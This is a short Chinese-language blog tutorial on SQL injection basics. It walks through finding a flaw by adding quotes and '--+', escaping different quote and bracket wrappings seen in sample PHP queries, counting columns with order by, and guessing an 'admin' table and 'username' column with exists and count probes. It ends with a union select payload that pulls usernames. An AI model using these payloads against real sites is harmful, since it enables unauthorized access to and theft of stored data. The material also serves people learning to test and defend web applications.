sql注入

SQL注入 注入测试基础

2018-09-20  本文已影响0人  dawsonenjoy

1.测试是否有漏洞

单引号测试法

test.php?Id=1'
通常来说,测试当加入字符后有错,再加上--+就没错的话则说明可以注入(有例外,见示例2),此时注入语句就是加上字符,然后就可以用联合语句什么的了,最后记得加上--+,例如:

示例1

(如果加'有错,再加--+成功,则可以知道其是通过’号包围参数的,只要注入的时候加入引号即可拼接,源代码:$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";

示例2(特殊)

源代码:$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
将会发现加上都能失败,但加啥再加--+也都不成功,所以直接加--+就好

示例3

源代码:$sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";
将会发现加’)则失败,再加--+成功

示例4

源代码:$sql="SELECT * FROM users WHERE id=($id) LIMIT 0,1";
将会发现加”)则失败,再加--+成功

总结

''包着的 -> ' union select 1,2,3... --+
没东西包 -> union select 1,2,3... --+
('')包着的 -> ') union select 1,2,3... --+
()包着的 -> ) union select 1,2,3... --+
(('')包着的 -> ')) union select 1,2,3... --+
以此类推…
逻辑测试法:test.php?Id=1 and 1 = 2
运算测试法:test.php?Id=1 + 1
字符型注入:test.php?Id=1' and '1'='1

2.判断有几个字段

order by:猜有几列超过列会显示错误
union:可以继续加select条件(这个时候order by 查到几列就select 1,2,3,n

3.猜解表名

exists法:test.php?Id=1 and exists(select * from admin)
数目法:test.php?Id=1 and (select count(*) from admin)>0

4.猜解字段名

exists法:test.php?Id=1 and exists(select username from admin)
数目法:test.php?Id=1 and (select count(username) from admin)>0

5.获取数据

报错注入法:test.php?Id=1 and 1=2 union select 1,username from admin

上一篇 下一篇

猜你喜欢

热点阅读